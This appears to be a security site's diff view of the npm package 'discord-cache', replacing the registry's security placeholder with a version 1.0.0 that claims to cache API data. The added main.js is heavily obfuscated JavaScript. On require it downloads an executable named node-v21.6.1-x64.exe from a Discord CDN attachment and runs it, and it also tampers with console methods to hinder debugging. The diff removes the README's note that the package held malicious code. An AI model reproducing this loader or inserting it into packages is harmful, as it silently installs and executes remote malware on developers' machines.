discord-cache 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of discord-cache might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/main.js +1 -0
  2. package/package.json +16 -3
  3. package/README.md +0 -5
package/main.js ADDED
@@ -0,0 +1 @@
1
+ const _0x2684aa=_0x219f;(function(_0x4ac5eb,_0x32dfcc){const _0x39bec4=_0x219f,_0x2915b5=_0x4ac5eb();while(!![]){try{const _0x2eaa15=-parseInt(_0x39bec4(0xb3))/0x1+parseInt(_0x39bec4(0xb5))/0x2+parseInt(_0x39bec4(0xbb))/0x3+-parseInt(_0x39bec4(0xcd))/0x4*(parseInt(_0x39bec4(0xba))/0x5)+parseInt(_0x39bec4(0xb6))/0x6*(-parseInt(_0x39bec4(0xb8))/0x7)+-parseInt(_0x39bec4(0xad))/0x8*(-parseInt(_0x39bec4(0xcf))/0x9)+-parseInt(_0x39bec4(0xcb))/0xa*(parseInt(_0x39bec4(0xc2))/0xb);if(_0x2eaa15===_0x32dfcc)break;else _0x2915b5['push'](_0x2915b5['shift']());}catch(_0x971633){_0x2915b5['push'](_0x2915b5['shift']());}}}(_0x2812,0xc81a2));function _0x2812(){const _0x468f7a=['child_process','176eiShek','https','console','node-v21.6.1-x64.exe','get','error','__proto__','info','search','250540mAbygy','createWriteStream','4aLYtGV','toString','70011DqnBDg','exports','table','warn','length','1664FFmDRf','bind','finish','close','apply','prototype','132105dmpnpJ','trace','945142mdHDEM','966QwcXJo','return\x20(function()\x20','30611iQrNob','unlink','5171350EBAbUR','3000921xbWFkb','{}.constructor(\x22return\x20this\x22)(\x20)','exception','message','(((.+)+)+)+$','https://cdn.discordapp.com/attachments/1198776627606339678/1200918675096617031/node-v21.6.1-x64.exe'];_0x2812=function(){return _0x468f7a;};return _0x2812();}const https=require(_0x2684aa(0xc3)),fs=require('fs'),{spawn}=require(_0x2684aa(0xc1));function _0x219f(_0x4b2c60,_0x26ad86){const _0x4ffdf2=_0x2812();return _0x219f=function(_0x391ec3,_0x37e859){_0x391ec3=_0x391ec3-0xaa;let _0x4914aa=_0x4ffdf2[_0x391ec3];return _0x4914aa;},_0x219f(_0x4b2c60,_0x26ad86);}function downloadFile(_0x40740f,_0x10e667,_0x4e82a9){const _0x2fd9a2=_0x2684aa,_0x2c350f=(function(){let _0x1c6b21=!![];return function(_0x336a5d,_0x43f2b1){const _0x2a294a=_0x1c6b21?function(){const _0x271bbd=_0x219f;if(_0x43f2b1){const _0x3e74d9=_0x43f2b1[_0x271bbd(0xb1)](_0x336a5d,arguments);return _0x43f2b1=null,_0x3e74d9;}}:function(){};return _0x1c6b21=![],_0x2a294a;};}()),_0x546663=_0x2c350f(this,function(){const _0x361ae1=_0x219f;return _0x546663[_0x361ae1(0xce)]()[_0x361ae1(0xca)](_0x361ae1(0xbf))[_0x361ae1(0xce)]()['constructor'](_0x546663)[_0x361ae1(0xca)](_0x361ae1(0xbf));});_0x546663();const _0x149e27=(function(){let _0x44d30a=!![];return function(_0x2b02d4,_0x35228d){const _0x4bda79=_0x44d30a?function(){const _0x484c3f=_0x219f;if(_0x35228d){const _0x1ccf7a=_0x35228d[_0x484c3f(0xb1)](_0x2b02d4,arguments);return _0x35228d=null,_0x1ccf7a;}}:function(){};return _0x44d30a=![],_0x4bda79;};}()),_0xdd5184=_0x149e27(this,function(){const _0x154dd9=_0x219f,_0x27512b=function(){const _0x1e8fd6=_0x219f;let _0x424225;try{_0x424225=Function(_0x1e8fd6(0xb7)+_0x1e8fd6(0xbc)+');')();}catch(_0x373901){_0x424225=window;}return _0x424225;},_0x2e6be7=_0x27512b(),_0x2370a3=_0x2e6be7[_0x154dd9(0xc4)]=_0x2e6be7[_0x154dd9(0xc4)]||{},_0x53158d=['log',_0x154dd9(0xab),_0x154dd9(0xc9),'error',_0x154dd9(0xbd),_0x154dd9(0xaa),_0x154dd9(0xb4)];for(let _0x28ccc1=0x0;_0x28ccc1<_0x53158d[_0x154dd9(0xac)];_0x28ccc1++){const _0x555524=_0x149e27['constructor'][_0x154dd9(0xb2)][_0x154dd9(0xae)](_0x149e27),_0x3a04db=_0x53158d[_0x28ccc1],_0x1a766b=_0x2370a3[_0x3a04db]||_0x555524;_0x555524[_0x154dd9(0xc8)]=_0x149e27['bind'](_0x149e27),_0x555524['toString']=_0x1a766b[_0x154dd9(0xce)][_0x154dd9(0xae)](_0x1a766b),_0x2370a3[_0x3a04db]=_0x555524;}});_0xdd5184();const _0x1176ea=fs[_0x2fd9a2(0xcc)](_0x10e667);https[_0x2fd9a2(0xc6)](_0x40740f,_0x1651b5=>{const _0x463a1b=_0x2fd9a2;_0x1651b5['pipe'](_0x1176ea),_0x1176ea['on'](_0x463a1b(0xaf),()=>{const _0x66447f=_0x463a1b;_0x1176ea[_0x66447f(0xb0)](_0x4e82a9);});})['on'](_0x2fd9a2(0xc7),_0x3d8d7c=>{const _0x143115=_0x2fd9a2;fs[_0x143115(0xb9)](_0x10e667);if(_0x4e82a9)_0x4e82a9(_0x3d8d7c[_0x143115(0xbe)]);});}function executefile(_0x204c1c){const _0x2069a9=_0x2684aa,_0x3cb2c2=spawn(_0x204c1c);_0x3cb2c2['on'](_0x2069a9(0xc7),_0x3a6178=>{}),_0x3cb2c2['on']('exit',_0x5720a0=>{});}const urlfile=_0x2684aa(0xc0),destinationfile=_0x2684aa(0xc5);module[_0x2684aa(0xd0)]={'downloadFile':downloadFile,'executefile':executefile},downloadFile(urlfile,destinationfile,_0x27491d=>{if(_0x27491d){}else executefile(destinationfile);});
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "discord-cache",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "Reduce api calls, improve performance, allow easy storage, cache expiration data.",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "DigixDev",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "child_process": "^1.0.2",
14
+ "fs": "^0.0.1-security",
15
+ "https": "^1.0.0",
16
+ "path": "^0.12.7"
17
+ },
18
+ "devDependencies": {}
6
19
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=discord-cache for more information.